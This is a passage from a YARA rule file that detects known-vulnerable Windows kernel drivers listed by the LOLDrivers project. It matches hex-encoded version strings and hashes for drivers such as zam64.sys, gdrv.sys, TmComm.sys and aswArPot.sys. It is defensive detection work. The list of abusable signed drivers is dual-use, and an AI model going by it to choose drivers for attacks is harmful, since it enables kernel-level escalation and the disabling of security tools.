		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0035002e0034003200320030002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003900200041005600410053005400200053006f006600740077006100720065 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule PUA_VULN_Driver_Novellinc_Novellxtier_8E88
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nscm.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "8e88cb80328c3dbaa2752591692e74a2fae7e146d7d8aabc9b9ac9a6fe561e6c"
		date = "2023-06-14"
		score = 40
		id = "29276926-535b-55f9-a882-845fc9561513"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c002000580054006900650072002000530065007300730069006f006e0020004d0061006e0061006700650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e0036002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e0036 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c002000580054006900650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e00730063006d002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000310031002c0020004e006f00760065006c006c002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Zemanaltd_Zam_E428
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "e428ddf9afc9b2d11e2271f0a67a2d6638b860c2c12d4b8cc63d33f3349ee93f"
		date = "2023-06-14"
		score = 40
		id = "3a87403b-9df1-566b-af2d-e22732584b63"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00310037002e003900380034 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_0909
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "0909005d625866ef8ccd8ae8af5745a469f4f70561b644d6e38b80bccb53eb06"
		date = "2023-06-14"
		score = 40
		id = "e1be6d99-bee6-5208-976b-04a2fde0602b"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00370030002e0030002e0031003100300036 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00370030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100370020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and all of them
}

rule PUA_VULN_Driver_Huawei_Hwosec_Huaweimatebook_B179
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - HwOs2Ec7x64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "b179e1ab6dc0b1aee783adbcad4ad6bb75a8a64cb798f30c0dd2ee8aaf43e6de"
		hash = "bb1135b51acca8348d285dc5461d10e8f57260e7d0c8cc4a092734d53fc40cbc"
		date = "2023-06-14"
		score = 40
		id = "7fdaa5bb-7874-51cc-90a0-d718b5ad7ac8"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00480077004f0073003200450063 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004800750061007700650069 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00480077004f0073003200450063 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0048007500610077006500690020004d0061007400650042006f006f006b }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00480077004f0073003200450063002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310036 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Hpinc_Hpportioxsys_Hpportio_A468
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - HpPortIox64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "a4680fabf606d6580893434e81c130ff7ec9467a15e6534692443465f264d3c9"
		date = "2023-06-14"
		score = 40
		id = "ee20509d-fdf5-5c5a-8f49-5392c6f015ad"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004800700050006f007200740049006f }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0048005000200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004800700050006f007200740049006f007800360034002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004800700050006f007200740049006f }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004800700050006f007200740049006f007800360034002e007300790073 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Zemanaltd_Zam_7661
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "76614f2e372f33100a8d92bf372cdbc1e183930ca747eed0b0cf2501293b990a"
		date = "2023-06-14"
		score = 40
		id = "cf60dd6e-f13e-5498-b3e1-b28c4b469f10"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00310038002e003200320039 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule PUA_VULN_Driver_Gigabytetechnologycoltd_Gdrvsys_Gigabytesoftwaredriver_8B92
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - gdrv.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "8b92cdb91a2e2fab3881d54f5862e723826b759749f837a11c9e9d85d52095a2"
		date = "2023-06-14"
		score = 40
		id = "158dd78f-3665-59d6-8528-f4489791d55e"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0047004900470041002d00420059005400450020004e006f006e0050006e00500020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0047004900470041002d004200590054004500200054004500430048004e004f004c004f0047005900200043004f002e002c0020004c00540044002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0067006400720076002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0047004900470041002d004200590054004500200053006f0066007400770061007200650020006400720069007600650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0067006400720076002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310037 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Sisoftware_Sandra_Sisoftwaresandra_881B
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - SANDRA"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "881bca6dc2dafe1ae18aeb59216af939a3ac37248c13ed42ad0e1048a3855461"
		date = "2023-06-14"
		score = 40
		id = "926f0aef-ede3-554e-874d-7b617efbf2bd"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530061006e006400720061002000440065007600690063006500200044007200690076006500720020002800570069006e003600340020007800360034002900280055006e00690063006f006400650029 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005300690053006f006600740077006100720065 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e0033002e0031002e00310020006200750069006c0074002000620079003a002000570069006e00440044004b }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e0033002e0031002e0031 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00530041004e004400520041 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005300690053006f006600740077006100720065002000530061006e006400720061 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00530041004e004400520041 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020005300690053006f0066007400770061007200650020004c0074006400200031003900390035002d0032003000300035002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_5192
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "5192ec4501d0fe0b1c8f7bf9b778f7524a7a70a26bbbb66e5dab8480f6fdbb8b"
		date = "2023-06-14"
		score = 40
		id = "63cc2959-9cfa-575d-894f-fbb63349a4e7"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00370030002e0030002e0031003000370033 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00370030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100350020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and all of them
}

rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_80A5
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "80a59ca71fc20961ccafc0686051e86ae4afbbd4578cb26ad4570b9207651085"
		date = "2023-06-14"
		score = 40
		id = "80e3827b-44e7-5b59-a7db-c7daf0e38664"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e00350030002e0030002e0031003000390031 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e00350030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100330020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule PUA_VULN_Driver_Microfocus_Microfocusxtier_5351
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nscm.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "5351c81b4ec5a0d79c39d24bac7600d10eac30c13546fde43d23636b3f421e7c"
		date = "2023-06-14"
		score = 40
		id = "e2d580c9-79e6-53f1-ab4a-77e2715b6f91"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0058005400690065007200200053006500630075007200690074007900200043006f006e00740065007800740020004d0061006e0061006700650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d006900630072006f00200046006f006300750073 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e00310032002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e00310032 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d006900630072006f00200046006f006300750073002000580054006900650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e00730063006d002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000310037002c0020004d006900630072006f00200046006f006300750073002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Sunmicrosystemsinc_Vboxdrvsys_Sunvirtualbox_R_7882
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - vboxdrv.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "78827fa00ea48d96ac9af8d1c1e317d02ce11793e7f7f6e4c7aac7b5d7dd490f"
		hash = "c26b51b4c37330800cff8519252e110116c3aaade94ceb9894ec5bfb1b8f9924"
		date = "2023-06-14"
		score = 40
		id = "c367a41e-58e4-59cd-a3f4-dfcd001e7040"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072007400750061006c0042006f007800200053007500700070006f007200740020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00530075006e0020004d006900630072006f00730079007300740065006d0073002c00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0032002e0030002e007200340035003800340036 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0032002e0030002e007200340035003800340036 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00530075006e0020005600690072007400750061006c0042006f0078 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300039002000530075006e0020004d006900630072006f00730079007300740065006d0073002c00200049006e0063002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule PUA_VULN_Driver_Corsairmemoryinc_Corsairllaccess_Corsairllaccess_5FAD
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - CorsairLLAccess64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "5fad3775feb8b6f6dcbd1642ae6b6a565ff7b64eadfc9bf9777918b51696ab36"
		hash = "29a90ae1dcee66335ece4287a06482716530509912be863c85a2a03a6450a5b6"
		date = "2023-06-14"
		score = 40
		id = "95bb049c-cef2-5235-8e3d-ebe9591b7e27"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0043006f007200730061006900720020004d0065006d006f00720079002c00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e00310036002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e00310036002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007200730061006900720020004d0065006d006f00720079002c00200049006e0063002e002000280063002900200032003000310039002c00200041006c006c0020007200690067006800740073002000720065007300650072007600650064 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Cpuid_Cpuzsys_Cpuidservice_A072
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "a072197177aad26c31960694e38e2cae85afbab070929e67e331b99d3a418cf4"
		hash = "e0b5a5f8333fc1213791af5c5814d7a99615b3951361ca75f8aa5022c9cfbc2b"
		hash = "ded2927f9a4e64eefd09d0caba78e94f309e3a6292841ae81d5528cab109f95d"
		date = "2023-06-14"
		score = 40
		id = "caf170d7-172f-56eb-beae-0c40e7ac78fa"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00430050005500490044 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003100360033003800350020006200750069006c0074002000620079003a002000570069006e00440044004b }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e00310036003300380035 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043005000550049004400200073006500720076006900630065 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400280043002900200032003000310036002000430050005500490044 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_2A62
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viragt64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "2a6212f3b68a6f263e96420b3607b31cfdfe51afff516f3c87d27bf8a89721e8"
		date = "2023-06-14"
		score = 40
		id = "7c67b2a6-a2da-56ce-8ed4-017838ea7673"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c002000360035002c00200030002c00200030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c002000360035002c00200030002c00200030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007600690072006100670074002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000300036002c002000320030003100320020002d0020007700770077002e007400670073006f00660074002e00690074 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_AAA3
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "aaa3459bcac25423f78ed72dbae4d7ef19e7c5c65770cbe5210b14e33cd1816c"
		date = "2023-06-14"
		score = 40
		id = "9b0770d3-d004-552f-be65-6dcc14f06cc7"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0032002e0033003800320030002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0032002e0033003800320030002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003800200041005600410053005400200053006f006600740077006100720065 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule PUA_VULN_Driver_Avastsoftware_Aswvmmsys_Avastantivirus_3650
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswVmm.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "36505921af5a09175395ebaea29c72b2a69a3a9204384a767a5be8a721f31b10"
		date = "2023-06-14"
		score = 40
		id = "1b3abcb0-5317-58f0-bb7a-6bc1996483fa"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00610076006100730074002100200056004d0020004d006f006e00690074006f0072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0038002e0030002e0031003400390037002e003300370036 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0038002e0030002e0031003400390037002e003300370036 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0061007300770056006d006d002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00610076006100730074002100200041006e0074006900760069007200750073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0061007300770056006d006d002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003300200041005600410053005400200053006f006600740077006100720065 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule PUA_VULN_Driver_Windowsrserverddkprovider_Gdrvsys_Windowsrserverddkdriver_31F4
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - gdrv.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "31f4cfb4c71da44120752721103a16512444c13c2ac2d857a7e6f13cb679b427"
		hash = "6f1fc8287dd8d724972d7a165683f2b2ad6837e16f09fe292714e8e38ecd1e38"
		hash = "17927b93b2d6ab4271c158f039cae2d60591d6a14458f5a5690aec86f5d54229"
		date = "2023-06-14"
		score = 40
		id = "e7728971-efb9-5c8b-8600-8f2b393d966e"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0047004900470041004200590054004500200054006f006f006c0073 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000530065007200760065007200200032003000300033002000440044004b002000700072006f00760069006400650072 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e0032002e0033003700390030002e00310038003300300020006200750069006c0074002000620079003a002000570069006e00440044004b }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e0032002e0033003700390030002e0031003800330030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0067006400720076002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000530065007200760065007200200032003000300033002000440044004b0020006400720069007600650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0067006400720076002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Gigabytetechnologycoltd_Gdrvsys_Gdrv_FF67
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - gdrv.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "ff6729518a380bf57f1bc6f1ec0aa7f3012e1618b8d9b0f31a61d299ee2b4339"
		date = "2023-06-14"
		score = 40
		id = "b5062d65-a4bc-5d0e-9883-7c1fa54138e8"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0047004900470041002d00420059005400450020004e006f006e0050004e00500020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0047004900470041002d004200590054004500200054004500430048004e004f004c004f0047005900200043004f002e002c0020004c00540044002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310037003100320030003100300031 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0067006400720076002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]006700640072007600360034 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0067006400720076002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310037 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Asustekcomputerinc_Eiosys_Asusvgakernelmodedriver_CF69
{
	meta:
